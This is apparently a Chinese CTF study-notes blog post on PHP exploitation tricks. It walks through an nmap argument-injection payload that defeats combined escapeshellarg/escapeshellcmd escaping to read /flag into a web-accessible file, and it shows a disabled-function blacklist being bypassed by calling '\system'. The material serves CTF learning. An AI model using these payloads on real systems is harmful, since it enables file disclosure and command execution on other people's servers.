记录CTF学习的小小知识点,不断成长!

配置错误


nginx配置错误


信息泄露


.git泄露


phps文件


服务运维


本地PHP服务

  • 对目录(先到对应目录下)
1
php -S 127.0.0.1:11111 
  • 指定文件
1
php -S 127.0.0.1:11111 Pax.php

PHP漏洞


PHP7.1+对类的属性类型不敏感


nmap与escapeshell

escapeshellarg():

转义单引号,并于其两边赋上单引号,再字符串整体附上单引号,如下:

1
2
3
4
5
6
7
8
用转义符转义所有单引号,然后用单引号包裹,如
127.0.0.1' -iL /flag -o pax.txt
经过escapeshellarg,先转义单引号
127.0.0.1\' -iL /flag -o pax.txt
再用单引号包裹
127.0.0.1'\'' -iL /flag -o pax.txt
最后,escapeshellarg会将整个字符串用单引号包裹,让字符串变成这样
'127.0.0.1'\'' -iL /flag -o pax.txt'

escapeshellcmd():

转义特殊字符和落单的单双引号,如下:

1
2
转义特殊字符和落单的单引号
'127.0.0.1'\\'' -iL /flag -o pax.txt\'

最后的语句如下:

1
2
3
"nmap '127.0.0.1'\\'' -iL /flag -o pax.txt\'"
再化简:
"nmap 127.0.0.1\ -iL /flag -o pax.txt\'"

也就是把127.0.01\ 的/flag写入到pax.txt’

报错如下:

1
2
3
4
# Nmap 7.70 scan initiated Sun Oct  6 21:30:05 2024 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/e1fd6 -iL /flag -o pax.txt' 127.0.0.1\
Failed to resolve "ctfhub{a1fa0ed39443dbde824c67c2}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Sun Oct 6 21:30:05 2024 -- 0 IP addresses (0 hosts up) scanned in 0.08 seconds

小结

其实工作指令是:

1
nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/eb9bc -iL /flag -o pa2.txt' 111.111.111.1\

-o指令会把输入和报错都写入到参数:pax2.txt’文件。正好-iL参数要求/flag文件必须是IP类型的,不是则报错,一报错就把文件的原本内容写入到pax2.txt’文件,所以直接访问pax2.txt’文件即可看到/flag的内容。

\的妙用

这个黑名单真牛:

1
2
3
4
5
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);

但是不妨传参:\system,原因如下:

在PHP中,\用于表示全局命名空间。例如,如果你有一个函数或类在某个命名空间中,使用\可以直接引用全局的system函数。


评论